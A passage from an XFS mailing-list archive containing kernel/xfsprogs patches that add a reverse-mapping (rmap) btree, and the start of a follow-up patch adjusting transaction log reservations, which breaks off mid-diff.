checking we don't find a duplicate/overlap) and then insertng the + * appropriate record. + */ +int +xfs_rmap_alloc( + struct xfs_trans *tp, + struct xfs_buf *agbp, + xfs_agnumber_t agno, + xfs_agblock_t bno, + xfs_extlen_t len, + uint64_t owner) +{ + struct xfs_btree_cur *cur; + struct xfs_mount *mp = tp->t_mountp; + struct xfs_rmap_irec ltrec; + struct xfs_rmap_irec gtrec; + int have_gt; + int error; + int i; + + /* + * if rmap btree is not supported, then just return success without + * doing anything. + */ + if (!xfs_sb_version_hasrmapbt(&tp->t_mountp->m_sb)) + return 0; + + trace_xfs_rmap_alloc_extent(mp, agno, bno, len, owner); + cur = xfs_rmapbt_init_cursor(mp, tp, agbp, agno); + + /* + * chekc to see if we find an existing record for this extent rather + * than just the location for insert. + */ + error = xfs_rmap_lookup_le(cur, bno, len, owner, &i); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(mp, i == 1, out_error); + + error = xfs_rmap_get_rec(cur, <rec, &i); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(mp, i == 1, out_error); + //printk("rmalloc ag %d bno 0x%x/0x%x/0x%llx, ltrec 0x%x/0x%x/0x%llx\n", + // agno, bno, len, owner, ltrec.rm_startblock, + // ltrec.rm_blockcount, ltrec.rm_owner); + + XFS_WANT_CORRUPTED_GOTO(mp, ltrec.rm_startblock + ltrec.rm_blockcount <= bno, + out_error); + + error = xfs_btree_increment(cur, 0, &have_gt); + if (error) + goto out_error; + if (have_gt) { + error = xfs_rmap_get_rec(cur, >rec, &i); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(mp, i == 1, out_error); + //printk("rmalloc ag %d bno 0x%x/0x%x/0x%llx, gtrec 0x%x/0x%x/0x%llx\n", + // agno, bno, len, owner, gtrec.rm_startblock, + // gtrec.rm_blockcount, gtrec.rm_owner); + XFS_WANT_CORRUPTED_GOTO(mp, bno + len <= gtrec.rm_startblock, + out_error); + } else { + gtrec.rm_owner = XFS_RMAP_OWN_NULL; + } + + /* cursor currently points one record past ltrec */ + if (ltrec.rm_owner == owner && + ltrec.rm_startblock + ltrec.rm_blockcount == bno) { + /* + * left edge contiguous + * + * ltbno ltlen + * orig: |ooooooooo| + * adding: |aaaaaaaaa| + * result: |rrrrrrrrrrrrrrrrrrr| + * bno len + */ + //printk("add left\n"); + ltrec.rm_blockcount += len; + if (gtrec.rm_owner == owner && + bno + len == gtrec.rm_startblock) { + //printk("add middle\n"); + /* + * right edge also contiguous + * + * ltbno ltlen gtbno gtlen + * orig: |ooooooooo| |ooooooooo| + * adding: |aaaaaaaaa| + * result: |rrrrrrrrrrrrrrrrrrrrrrrrrrrrr| + */ + ltrec.rm_blockcount += gtrec.rm_blockcount; + error = xfs_btree_delete(cur, &i); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(mp, i == 1, out_error); + } + + error = xfs_btree_decrement(cur, 0, &have_gt); + if (error) + goto out_error; + error = xfs_rmap_update(cur, <rec); + if (error) + goto out_error; + } else if (gtrec.rm_owner == owner && + bno + len == gtrec.rm_startblock) { + /* + * right edge contiguous + * + * gtbno gtlen + * Orig: |ooooooooo| + * adding: |aaaaaaaaa| + * Result: |rrrrrrrrrrrrrrrrrrr| + * bno len + */ + //printk("add right\n"); + gtrec.rm_startblock = bno; + gtrec.rm_blockcount += len; + error = xfs_rmap_update(cur, >rec); + if (error) + goto out_error; + } else { + //printk("add no match\n"); + /* no contiguous edge with identical owner */ + cur->bc_rec.r.rm_startblock = bno; + cur->bc_rec.r.rm_blockcount = len; + cur->bc_rec.r.rm_owner = owner; + error = xfs_btree_insert(cur, &i); + if (error) + goto out_error; + } + + trace_xfs_rmap_alloc_extent_done(mp, agno, bno, len, owner); + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); + return 0; + +out_error: + trace_xfs_rmap_alloc_extent_error(mp, agno, bno, len, owner); + xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); + return error; +} diff --git a/libxfs/xfs_rmap_btree.c b/libxfs/xfs_rmap_btree.c new file mode 100644 index 0000000..ed1792d --- /dev/null +++ b/libxfs/xfs_rmap_btree.c @@ -0,0 +1,404 @@ +/* + * Copyright (c) 2014 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "libxfs_priv.h" +#include "xfs_fs.h" +#include "xfs_shared.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" +#include "xfs_bit.h" +#include "xfs_sb.h" +#include "xfs_mount.h" +#include "xfs_inode.h" +#include "xfs_trans.h" +#include "xfs_alloc.h" +#include "xfs_btree.h" +#include "xfs_rmap_btree.h" +#include "xfs_trace.h" +#include "xfs_cksum.h" + + +/* + * Reverse map btree. + * + * This is a per-ag tree used to track the owner of a given extent. Owner + * records are inserted when an extent is allocated, and removed when an extent + * is freed. For existing filesystems, there can only be one owner of an extent, + * usually an inode or some other metadata structure like a AG btree. + * + * Initial thoughts are that the + * value of the owner field needs external flags to define what it means, and + * hence we need a flags field in the record. This means the record is going to + * be larger than 16 bytes (agbno,len,owner = 16 bytes), so maybe this isn't the + * best idea. Initially just implement the owner field - we can probably steal + * bits from the extent length field for type descriptors given that MAXEXTLEN + * is only 21 bits if we want to store the type as well. Keep in mind that if we + * want to do this there are still restrictions on the length of extents we + * track in the rmap btree (see comments on xfs_rmap_free()). + * + * The rmap btree is part of the free space management, so blocks for the tree + * are sourced from the agfl. Hence we need transaction reservation support for + * this tree so that the freelist is always large enough. This also impacts on + * the minimum space we need to leave free in the AG. + * + * The tree is ordered by block number - there's no need to order/search by + * extent size for online updating/management of the tree, and the reverse + * lookups are going to be "who owns this block" and so are by-block ordering is + * perfect for this. + * + * XXX: open question is how to handle blocks that are owned by the freespace + * tree blocks. Right now they will be classified when they are moved to the + * freelist or removed from the freelist. i.e. the extent allocation/freeing + * will mark the extents allocated as owned by the AG. + */ +STATIC struct xfs_btree_cur * +xfs_rmapbt_dup_cursor( + struct xfs_btree_cur *cur) +{ + return xfs_rmapbt_init_cursor(cur->bc_mp, cur->bc_tp, + cur->bc_private.a.agbp, cur->bc_private.a.agno); +} + +STATIC void +xfs_rmapbt_set_root( + struct xfs_btree_cur *cur, + union xfs_btree_ptr *ptr, + int inc) +{ + struct xfs_buf *agbp = cur->bc_private.a.agbp; + struct xfs_agf *agf = XFS_BUF_TO_AGF(agbp); + xfs_agnumber_t seqno = be32_to_cpu(agf->agf_seqno); + int btnum = cur->bc_btnum; + struct xfs_perag *pag = xfs_perag_get(cur->bc_mp, seqno); + + ASSERT(ptr->s != 0); + + agf->agf_roots[btnum] = ptr->s; + be32_add_cpu(&agf->agf_levels[btnum], inc); + pag->pagf_levels[btnum] += inc; + xfs_perag_put(pag); + + xfs_alloc_log_agf(cur->bc_tp, agbp, XFS_AGF_ROOTS | XFS_AGF_LEVELS); +} + +STATIC int +xfs_rmapbt_alloc_block( + struct xfs_btree_cur *cur, + union xfs_btree_ptr *start, + union xfs_btree_ptr *new, + int *stat) +{ + int error; + xfs_agblock_t bno; + + XFS_BTREE_TRACE_CURSOR(cur, XBT_ENTRY); + + /* Allocate the new block from the freelist. If we can't, give up. */ + error = xfs_alloc_get_freelist(cur->bc_tp, cur->bc_private.a.agbp, + &bno, 1); + if (error) { + XFS_BTREE_TRACE_CURSOR(cur, XBT_ERROR); + return error; + } + + if (bno == NULLAGBLOCK) { + XFS_BTREE_TRACE_CURSOR(cur, XBT_EXIT); + *stat = 0; + return 0; + } + + xfs_extent_busy_reuse(cur->bc_mp, cur->bc_private.a.agno, bno, 1, false); + + xfs_trans_agbtree_delta(cur->bc_tp, 1); + new->s = cpu_to_be32(bno); + + XFS_BTREE_TRACE_CURSOR(cur, XBT_EXIT); + *stat = 1; + return 0; +} + +STATIC int +xfs_rmapbt_free_block( + struct xfs_btree_cur *cur, + struct xfs_buf *bp) +{ + struct xfs_buf *agbp = cur->bc_private.a.agbp; + struct xfs_agf *agf = XFS_BUF_TO_AGF(agbp); + xfs_agblock_t bno; + int error; + + bno = xfs_daddr_to_agbno(cur->bc_mp, XFS_BUF_ADDR(bp)); + error = xfs_alloc_put_freelist(cur->bc_tp, agbp, NULL, bno, 1); + if (error) + return error; + + xfs_extent_busy_insert(cur->bc_tp, be32_to_cpu(agf->agf_seqno), bno, 1, + XFS_EXTENT_BUSY_SKIP_DISCARD); + xfs_trans_agbtree_delta(cur->bc_tp, -1); + + xfs_trans_binval(cur->bc_tp, bp); + return 0; +} + +STATIC int +xfs_rmapbt_get_minrecs( + struct xfs_btree_cur *cur, + int level) +{ + return cur->bc_mp->m_rmap_mnr[level != 0]; +} + +STATIC int +xfs_rmapbt_get_maxrecs( + struct xfs_btree_cur *cur, + int level) +{ + return cur->bc_mp->m_rmap_mxr[level != 0]; +} + +STATIC void +xfs_rmapbt_init_key_from_rec( + union xfs_btree_key *key, + union xfs_btree_rec *rec) +{ + key->rmap.rm_startblock = rec->rmap.rm_startblock; +} + +STATIC void +xfs_rmapbt_init_rec_from_key( + union xfs_btree_key *key, + union xfs_btree_rec *rec) +{ + rec->rmap.rm_startblock = key->rmap.rm_startblock; +} + +STATIC void +xfs_rmapbt_init_rec_from_cur( + struct xfs_btree_cur *cur, + union xfs_btree_rec *rec) +{ + rec->rmap.rm_startblock = cpu_to_be32(cur->bc_rec.r.rm_startblock); + rec->rmap.rm_blockcount = cpu_to_be32(cur->bc_rec.r.rm_blockcount); + rec->rmap.rm_owner = cpu_to_be64(cur->bc_rec.r.rm_owner); +} + +STATIC void +xfs_rmapbt_init_ptr_from_cur( + struct xfs_btree_cur *cur, + union xfs_btree_ptr *ptr) +{ + struct xfs_agf *agf = XFS_BUF_TO_AGF(cur->bc_private.a.agbp); + + ASSERT(cur->bc_private.a.agno == be32_to_cpu(agf->agf_seqno)); + ASSERT(agf->agf_roots[cur->bc_btnum] != 0); + + ptr->s = agf->agf_roots[cur->bc_btnum]; +} + +STATIC __int64_t +xfs_rmapbt_key_diff( + struct xfs_btree_cur *cur, + union xfs_btree_key *key) +{ + struct xfs_rmap_irec *rec = &cur->bc_rec.r; + struct xfs_rmap_key *kp = &key->rmap; + + return (__int64_t)be32_to_cpu(kp->rm_startblock) - rec->rm_startblock; +} + +static bool +xfs_rmapbt_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + struct xfs_btree_block *block = XFS_BUF_TO_BLOCK(bp); + struct xfs_perag *pag = bp->b_pag; + unsigned int level; + + /* + * magic number and level verification + * + * During growfs operations, we can't verify the exact level or owner as + * the perag is not fully initialised and hence not attached to the + * buffer. In this case, check against the maximum tree depth. + * + * Similarly, during log recovery we will have a perag structure + * attached, but the agf information will not yet have been initialised + * from the on disk AGF. Again, we can only check against maximum limits + * in this case. + */ + if (block->bb_magic!= cpu_to_be32(XFS_RMAP_CRC_MAGIC)) + return false; + + if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) + return false; + if (!uuid_equal(&block->bb_u.s.bb_uuid, &mp->m_sb.sb_uuid)) + return false; + if (block->bb_u.s.bb_blkno != cpu_to_be64(bp->b_bn)) + return false; + if (pag && be32_to_cpu(block->bb_u.s.bb_owner) != pag->pag_agno) + return false; + + level = be16_to_cpu(block->bb_level); + if (pag && pag->pagf_init) { + if (level >= pag->pagf_levels[XFS_BTNUM_RMAPi]) + return false; + } else if (level >= mp->m_ag_maxlevels) + return false; + + /* numrecs verification */ + if (be16_to_cpu(block->bb_numrecs) > mp->m_rmap_mxr[level != 0]) + return false; + + /* sibling pointer verification */ + if (!block->bb_u.s.bb_leftsib || + (be32_to_cpu(block->bb_u.s.bb_leftsib) >= mp->m_sb.sb_agblocks && + block->bb_u.s.bb_leftsib != cpu_to_be32(NULLAGBLOCK))) + return false; + if (!block->bb_u.s.bb_rightsib || + (be32_to_cpu(block->bb_u.s.bb_rightsib) >= mp->m_sb.sb_agblocks && + block->bb_u.s.bb_rightsib != cpu_to_be32(NULLAGBLOCK))) + return false; + + return true; +} + +static void +xfs_rmapbt_read_verify( + struct xfs_buf *bp) +{ + if (!xfs_btree_sblock_verify_crc(bp)) + xfs_buf_ioerror(bp, -EFSBADCRC); + else if (!xfs_rmapbt_verify(bp)) + xfs_buf_ioerror(bp, -EFSCORRUPTED); + + if (bp->b_error) { + trace_xfs_btree_corrupt(bp, _RET_IP_); + xfs_verifier_error(bp); + } +} + +static void +xfs_rmapbt_write_verify( + struct xfs_buf *bp) +{ + if (!xfs_rmapbt_verify(bp)) { + trace_xfs_btree_corrupt(bp, _RET_IP_); + xfs_buf_ioerror(bp, -EFSCORRUPTED); + xfs_verifier_error(bp); + return; + } + xfs_btree_sblock_calc_crc(bp); + +} + +const struct xfs_buf_ops xfs_rmapbt_buf_ops = { + .verify_read = xfs_rmapbt_read_verify, + .verify_write = xfs_rmapbt_write_verify, +}; + + +#if defined(DEBUG) || defined(XFS_WARN) +STATIC int +xfs_rmapbt_keys_inorder( + struct xfs_btree_cur *cur, + union xfs_btree_key *k1, + union xfs_btree_key *k2) +{ + return be32_to_cpu(k1->rmap.rm_startblock) < + be32_to_cpu(k2->rmap.rm_startblock); +} + +STATIC int +xfs_rmapbt_recs_inorder( + struct xfs_btree_cur *cur, + union xfs_btree_rec *r1, + union xfs_btree_rec *r2) +{ + return be32_to_cpu(r1->rmap.rm_startblock) + + be32_to_cpu(r1->rmap.rm_blockcount) <= + be32_to_cpu(r2->rmap.rm_startblock); +} +#endif /* DEBUG */ + +static const struct xfs_btree_ops xfs_rmapbt_ops = { + .rec_len = sizeof(struct xfs_rmap_rec), + .key_len = sizeof(struct xfs_rmap_key), + + .dup_cursor = xfs_rmapbt_dup_cursor, + .set_root = xfs_rmapbt_set_root, + .alloc_block = xfs_rmapbt_alloc_block, + .free_block = xfs_rmapbt_free_block, + .get_minrecs = xfs_rmapbt_get_minrecs, + .get_maxrecs = xfs_rmapbt_get_maxrecs, + .init_key_from_rec = xfs_rmapbt_init_key_from_rec, + .init_rec_from_key = xfs_rmapbt_init_rec_from_key, + .init_rec_from_cur = xfs_rmapbt_init_rec_from_cur, + .init_ptr_from_cur = xfs_rmapbt_init_ptr_from_cur, + .key_diff = xfs_rmapbt_key_diff, + .buf_ops = &xfs_rmapbt_buf_ops, +#if defined(DEBUG) || defined(XFS_WARN) + .keys_inorder = xfs_rmapbt_keys_inorder, + .recs_inorder = xfs_rmapbt_recs_inorder, +#endif +}; + +/* + * Allocate a new allocation btree cursor. + */ +struct xfs_btree_cur * +xfs_rmapbt_init_cursor( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_buf *agbp, + xfs_agnumber_t agno) +{ + struct xfs_agf *agf = XFS_BUF_TO_AGF(agbp); + struct xfs_btree_cur *cur; + + cur = kmem_zone_zalloc(xfs_btree_cur_zone, KM_SLEEP); + cur->bc_tp = tp; + cur->bc_mp = mp; + cur->bc_btnum = XFS_BTNUM_RMAP; + cur->bc_flags = XFS_BTREE_CRC_BLOCKS; + cur->bc_blocklog = mp->m_sb.sb_blocklog; + cur->bc_ops = &xfs_rmapbt_ops; + cur->bc_nlevels = be32_to_cpu(agf->agf_levels[XFS_BTNUM_RMAP]); + + cur->bc_private.a.agbp = agbp; + cur->bc_private.a.agno = agno; + + return cur; +} + +/* + * Calculate number of records in an rmap btree block. + */ +int +xfs_rmapbt_maxrecs( + struct xfs_mount *mp, + int blocklen, + int leaf) +{ + blocklen -= XFS_RMAP_BLOCK_LEN; + + if (leaf) + return blocklen / sizeof(struct xfs_rmap_rec); + return blocklen / + (sizeof(struct xfs_rmap_key) + sizeof(xfs_rmap_ptr_t)); +} diff --git a/libxfs/xfs_rmap_btree.h b/libxfs/xfs_rmap_btree.h new file mode 100644 index 0000000..9ad65e5 --- /dev/null +++ b/libxfs/xfs_rmap_btree.h @@ -0,0 +1,65 @@ +/* + * Copyright (c) 2014 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_RMAP_BTREE_H__ +#define __XFS_RMAP_BTREE_H__ + +/* + * Freespace on-disk structures + */ + +struct xfs_buf; +struct xfs_btree_cur; +struct xfs_mount; + +/* rmaps only exist on crc enabled filesystems */ +#define XFS_RMAP_BLOCK_LEN XFS_BTREE_SBLOCK_CRC_LEN + +/* + * Record, key, and pointer address macros for btree blocks. + * + * (note that some of these may appear unused, but they are used in userspace) + */ +#define XFS_RMAP_REC_ADDR(block, index) \ + ((struct xfs_rmap_rec *) \ + ((char *)(block) + XFS_RMAP_BLOCK_LEN + \ + (((index) - 1) * sizeof(struct xfs_rmap_rec)))) + +#define XFS_RMAP_KEY_ADDR(block, index) \ + ((struct xfs_rmap_key *) \ + ((char *)(block) + XFS_RMAP_BLOCK_LEN + \ + ((index) - 1) * sizeof(struct xfs_rmap_key))) + +#define XFS_RMAP_PTR_ADDR(block, index, maxrecs) \ + ((xfs_rmap_ptr_t *) \ + ((char *)(block) + XFS_RMAP_BLOCK_LEN + \ + (maxrecs) * sizeof(struct xfs_rmap_key) + \ + ((index) - 1) * sizeof(xfs_rmap_ptr_t))) + +struct xfs_btree_cur *xfs_rmapbt_init_cursor(struct xfs_mount *mp, + struct xfs_trans *tp, struct xfs_buf *bp, + xfs_agnumber_t agno); +int xfs_rmapbt_maxrecs(struct xfs_mount *mp, int blocklen, int leaf); + +int xfs_rmap_alloc(struct xfs_trans *tp, struct xfs_buf *agbp, + xfs_agnumber_t agno, xfs_agblock_t bno, xfs_extlen_t len, + uint64_t owner); +int xfs_rmap_free(struct xfs_trans *tp, struct xfs_buf *agbp, + xfs_agnumber_t agno, xfs_agblock_t bno, xfs_extlen_t len, + uint64_t owner); + +#endif /* __XFS_RMAP_BTREE_H__ */ diff --git a/libxfs/xfs_sb.c b/libxfs/xfs_sb.c index f944a58..f092da7 100644 --- a/libxfs/xfs_sb.c +++ b/libxfs/xfs_sb.c @@ -33,6 +33,7 @@ #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" #include "xfs_ialloc_btree.h" +#include "xfs_rmap_btree.h" /* * Physical superblock buffer manipulations. Shared with libxfs in userspace. @@ -700,6 +701,11 @@ xfs_sb_mount_common( mp->m_bmap_dmnr[0] = mp->m_bmap_dmxr[0] / 2; mp->m_bmap_dmnr[1] = mp->m_bmap_dmxr[1] / 2; + mp->m_rmap_mxr[0] = xfs_rmapbt_maxrecs(mp, sbp->sb_blocksize, 1); + mp->m_rmap_mxr[1] = xfs_rmapbt_maxrecs(mp, sbp->sb_blocksize, 0); + mp->m_rmap_mnr[0] = mp->m_rmap_mxr[0] / 2; + mp->m_rmap_mnr[1] = mp->m_rmap_mxr[1] / 2; + mp->m_bsize = XFS_FSB_TO_BB(mp, 1); mp->m_ialloc_inos = (int)MAX((__uint16_t)XFS_INODES_PER_CHUNK, sbp->sb_inopblock); diff --git a/libxfs/xfs_shared.h b/libxfs/xfs_shared.h index 5be5297..84360bb 100644 --- a/libxfs/xfs_shared.h +++ b/libxfs/xfs_shared.h @@ -38,6 +38,7 @@ extern const struct xfs_buf_ops xfs_agi_buf_ops; extern const struct xfs_buf_ops xfs_agf_buf_ops; extern const struct xfs_buf_ops xfs_agfl_buf_ops; extern const struct xfs_buf_ops xfs_allocbt_buf_ops; +extern const struct xfs_buf_ops xfs_rmapbt_buf_ops; extern const struct xfs_buf_ops xfs_attr3_leaf_buf_ops; extern const struct xfs_buf_ops xfs_attr3_rmt_buf_ops; extern const struct xfs_buf_ops xfs_bmbt_buf_ops; diff --git a/libxfs/xfs_types.h b/libxfs/xfs_types.h index f0d145a..da87796 100644 --- a/libxfs/xfs_types.h +++ b/libxfs/xfs_types.h @@ -111,8 +111,8 @@ typedef enum { } xfs_lookup_t; typedef enum { - XFS_BTNUM_BNOi, XFS_BTNUM_CNTi, XFS_BTNUM_BMAPi, XFS_BTNUM_INOi, - XFS_BTNUM_FINOi, XFS_BTNUM_MAX + XFS_BTNUM_BNOi, XFS_BTNUM_CNTi, XFS_BTNUM_RMAPi, XFS_BTNUM_BMAPi, + XFS_BTNUM_INOi, XFS_BTNUM_FINOi, XFS_BTNUM_MAX } xfs_btnum_t; struct xfs_name { From darrick.wong@oracle.com Wed Oct 7 00:06:29 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C7ADA29E6E for ; Wed, 7 Oct 2015 00:06:29 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9A6EC8F8035 for ; Tue, 6 Oct 2015 22:06:29 -0700 (PDT) X-ASG-Debug-ID: 1444194387-04bdf020dc0e8b0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 0IUvPx6V3Q8Co7wp (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:06:27 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9756Q7l019466 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:06:26 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9756Qbl027600 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:06:26 GMT Received: from abhmp0018.oracle.com (abhmp0018.oracle.com [141.146.116.24]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9756QLD009601; Wed, 7 Oct 2015 05:06:26 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:06:25 -0700 Subject: [PATCH 11/51] xfs: rmap btree transaction reservations From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 11/51] xfs: rmap btree transaction reservations To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com, Dave Chinner Date: Tue, 06 Oct 2015 22:06:24 -0700 Message-ID: <20151007050624.1504.1510.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194387 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines >From : Dave Chinner The rmap btrees will use the AGFL as the block allocation source, so we need to ensure that the transaction reservations reflect the fact this tree is modified by allocation and freeing. Hence we need to extend all the extent allocation/free reservations used in transactions to handle this. Note that this also gets rid of the unused XFS_ALLOCFREE_LOG_RES macro, as we now do buffer reservations based on the number of buffers logged via xfs_calc_buf_res(). Hence we only need the buffer count calculation now. Signed-off-by: Dave Chinner [port to xfsprogs] Signed-off-by: Darrick J. Wong --- libxfs/xfs_trans_resv.c | 56 +++++++++++++++++++++++++++++++++-------------- libxfs/xfs_trans_resv.h | 10 -------- 2 files changed, 39 insertions(+), 27 deletions(-) diff --git a/libxfs/xfs_trans_resv.c b/libxfs/xfs_trans_resv.c index 0c40b52..3a05e42 100644 --- a/libxfs/xfs_trans_resv.c +++ b/libxfs/xfs_trans_resv.c @@ -63,6 +63,28 @@ xfs_calc_buf_res( } /* + * Per-extent log reservation for the allocation btree changes + * involved in freeing or allocating an extent. When rmap is not enabled, + * there are only two trees that will be modified (free space trees), and when + * rmap is enabled there will be three (freespace + rmap trees). The number of + * blocks reserved is based on the formula: + * + * num trees * ((2 blocks/level * max depth) - 1) + */ +static uint +xfs_allocfree_log_count( + struct xfs_mount *mp, + uint num_ops) +{ + uint num_trees = 2; + + if (xfs_sb_version_hasrmapbt(&mp->m_sb)) + num_trees++; + + return num_ops * num_trees * (2 * mp->m_ag_maxlevels - 1); +} + +/* * Logging inodes is really tricksy. They are logged in memory format, * which means that what we write into the log doesn't directly translate into * the amount of space they use on disk. @@ -125,7 +147,7 @@ xfs_calc_inode_res( */ STATIC uint xfs_calc_finobt_res( - struct xfs_mount *mp, + struct xfs_mount *mp, int alloc, int modify) { @@ -136,7 +158,7 @@ xfs_calc_finobt_res( res = xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)); if (alloc) - res += xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + res += xfs_calc_buf_res(xfs_allocfree_log_count(mp, 1), XFS_FSB_TO_B(mp, 1)); if (modify) res += (uint)XFS_FSB_TO_B(mp, 1); @@ -187,10 +209,10 @@ xfs_calc_write_reservation( xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), XFS_FSB_TO_B(mp, 1)) + xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 2), XFS_FSB_TO_B(mp, 1))), (xfs_calc_buf_res(5, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 2), XFS_FSB_TO_B(mp, 1)))); } @@ -216,10 +238,10 @@ xfs_calc_itruncate_reservation( xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK) + 1, XFS_FSB_TO_B(mp, 1))), (xfs_calc_buf_res(9, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 4), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 4), XFS_FSB_TO_B(mp, 1)) + xfs_calc_buf_res(5, 0) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 1), XFS_FSB_TO_B(mp, 1)) + xfs_calc_buf_res(2 + mp->m_ialloc_blks + mp->m_in_maxlevels, 0))); @@ -246,7 +268,7 @@ xfs_calc_rename_reservation( xfs_calc_buf_res(2 * XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1))), (xfs_calc_buf_res(7, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 3), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 3), XFS_FSB_TO_B(mp, 1)))); } @@ -285,7 +307,7 @@ xfs_calc_link_reservation( xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1))), (xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 1), XFS_FSB_TO_B(mp, 1)))); } @@ -323,7 +345,7 @@ xfs_calc_remove_reservation( xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1))), (xfs_calc_buf_res(4, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 2), XFS_FSB_TO_B(mp, 1)))); } @@ -370,7 +392,7 @@ xfs_calc_create_resv_alloc( mp->m_sb.sb_sectsize + xfs_calc_buf_res(mp->m_ialloc_blks, XFS_FSB_TO_B(mp, 1)) + xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + - 